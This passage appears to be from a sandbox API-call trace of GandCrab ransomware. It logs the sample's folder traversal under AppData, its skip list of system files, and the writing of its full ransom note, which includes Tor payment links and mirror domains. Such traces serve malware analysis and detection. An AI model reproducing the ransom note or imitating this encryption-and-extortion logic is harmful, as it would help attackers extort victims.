param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0054.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0054.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0054.305] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\GDCB-DECRYPT.txt") returned 72 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.305] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.305] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.305] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.305] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2=".") returned 1 [0054.305] lstrcmpW (lpString1="S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="..") returned 1 [0054.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="S-1-5-21-1462094071-1423818996-289466292-1000" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000" [0054.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\" [0054.305] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.306] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.306] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.306] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.306] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.306] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.306] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 102 [0054.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0054.306] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8970 [0054.306] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.306] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.306] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.306] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2=".") returned 1 [0054.306] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2="..") returned 1 [0054.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="0e547b03-9de7-44c3-ab34-6c30848745f8" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8" [0054.306] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.306] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2=".") returned 1 [0054.306] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2="..") returned 1 [0054.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="18ba5742-2f86-4514-8525-6b56783ae4ef" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef" [0054.306] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.306] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2=".") returned 1 [0054.306] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="..") returned 1 [0054.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0054.306] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.306] lstrcmpW (lpString1="Preferred", lpString2=".") returned 1 [0054.306] lstrcmpW (lpString1="Preferred", lpString2="..") returned 1 [0054.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0054.306] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0054.306] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.306] FindClose (in: hFindFile=0x5b8970 | out: hFindFile=0x5b8970) returned 1 [0054.306] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.307] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt") returned 119 [0054.307] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1462094071-1423818996-289466292-1000\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.307] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.307] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.307] CloseHandle (hObject=0x4fc) returned 1 [0054.307] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\") returned 102 [0054.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*" [0054.308] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b89b0 [0054.308] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.308] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.308] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.308] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.308] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2=".") returned 1 [0054.308] lstrcmpW (lpString1="0e547b03-9de7-44c3-ab34-6c30848745f8", lpString2="..") returned 1 [0054.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="0e547b03-9de7-44c3-ab34-6c30848745f8" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8" [0054.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.308] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0054.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\0e547b03-9de7-44c3-ab34-6c30848745f8") returned 138 [0054.308] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.308] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.308] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2=".") returned 1 [0054.308] lstrcmpW (lpString1="18ba5742-2f86-4514-8525-6b56783ae4ef", lpString2="..") returned 1 [0054.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="18ba5742-2f86-4514-8525-6b56783ae4ef" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef" [0054.308] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.308] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0054.308] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\18ba5742-2f86-4514-8525-6b56783ae4ef") returned 138 [0054.308] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.309] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.309] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2=".") returned 1 [0054.309] lstrcmpW (lpString1="5b8a3202-35dc-4437-b5d7-374f5e872415", lpString2="..") returned 1 [0054.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="5b8a3202-35dc-4437-b5d7-374f5e872415" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415" [0054.309] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.309] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0054.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\5b8a3202-35dc-4437-b5d7-374f5e872415") returned 138 [0054.309] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.309] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.309] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.309] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt" [0054.309] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.309] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0054.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0054.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0054.309] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\GDCB-DECRYPT.txt") returned 118 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.309] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.309] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.310] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.310] lstrcmpW (lpString1="Preferred", lpString2=".") returned 1 [0054.310] lstrcmpW (lpString1="Preferred", lpString2="..") returned 1 [0054.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\", lpString2="Preferred" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred" [0054.310] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.310] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0054.310] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1462094071-1423818996-289466292-1000\\Preferred") returned 111 [0054.310] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.310] FindNextFileW (in: hFindFile=0x5b89b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.310] FindClose (in: hFindFile=0x5b89b0 | out: hFindFile=0x5b89b0) returned 1 [0054.310] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.310] lstrcmpW (lpString1="SYNCHIST", lpString2=".") returned 1 [0054.310] lstrcmpW (lpString1="SYNCHIST", lpString2="..") returned 1 [0054.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="SYNCHIST" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST" [0054.310] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.310] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0054.310] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 64 [0054.310] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.310] FindNextFileW (in: hFindFile=0x5b8cb0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.311] FindClose (in: hFindFile=0x5b8cb0 | out: hFindFile=0x5b8cb0) returned 1 [0054.311] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.311] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0054.311] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0054.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0054.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\" [0054.311] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.311] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.311] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.311] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned 55 [0054.311] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*" [0054.311] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8c30 [0054.311] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.311] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.311] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.311] FindNextFileW (in: hFindFile=0x5b8c30, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.311] FindClose (in: hFindFile=0x5b8c30 | out: hFindFile=0x5b8c30) returned 1 [0054.311] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.312] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\GDCB-DECRYPT.txt") returned 72 [0054.312] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\speech\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.312] lstrlenW (lpString="---= 